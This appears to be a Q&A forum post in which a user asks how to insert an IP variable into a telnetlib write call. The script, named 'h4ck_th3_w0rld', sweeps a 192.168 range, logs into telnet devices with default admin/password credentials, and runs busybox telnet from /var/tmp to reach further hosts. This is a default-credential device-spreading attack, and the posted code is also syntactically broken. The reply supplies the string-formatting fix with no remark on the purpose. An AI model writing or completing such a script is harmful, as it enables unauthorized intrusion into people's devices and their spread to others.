-1

Im using telnetlib.Telnet function to connect to telnet devices but I can't figure out how to add variable at end of write function, I saw How do I put a variable inside a string? bu that did not helped me, so here is my code

def h4ck_th3_w0rld(HOST):
    user = 'admin'
    password = 'password'
    tn = None
    try:
        tn = telnetlib.Telnet(HOST, 23, 11)
 
        tn.read_until("Username: ", 7)
        tn.write(user + "\n")
        if password:
            tn.read_until("Password: ", 7)
            tn.write(password + "\n")

    for i in range(100, 256):
        for j in range(7, 7):
            ip_addressa = '192.168.%d.%d' % (j, i)
            h4ck_th3_w0rld(ip_addressa)
            print(ip_addressa)

    tn.write("cd /var/tmp\n")
    tn.write("./busybox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
        tn.write("exit\n")

I need to put /var/tmp/busybox telnet 172.24.%d.%d in side while loop and request to looks like this

./busybox telnet 192.168.7.100
./busybox telnet 192.168.7.101
0 day
  • 21
  • 1
  • 6

1 Answers1

0

You need to concatenate it:

tn.write("./busybox telnet " + ip_addressa + "\n")

or use format():

tn.write("./busybox telnet {}\n".format(ip_addressa))
Aziz Sonawalla
  • 2,482
  • 1
  • 5
  • 6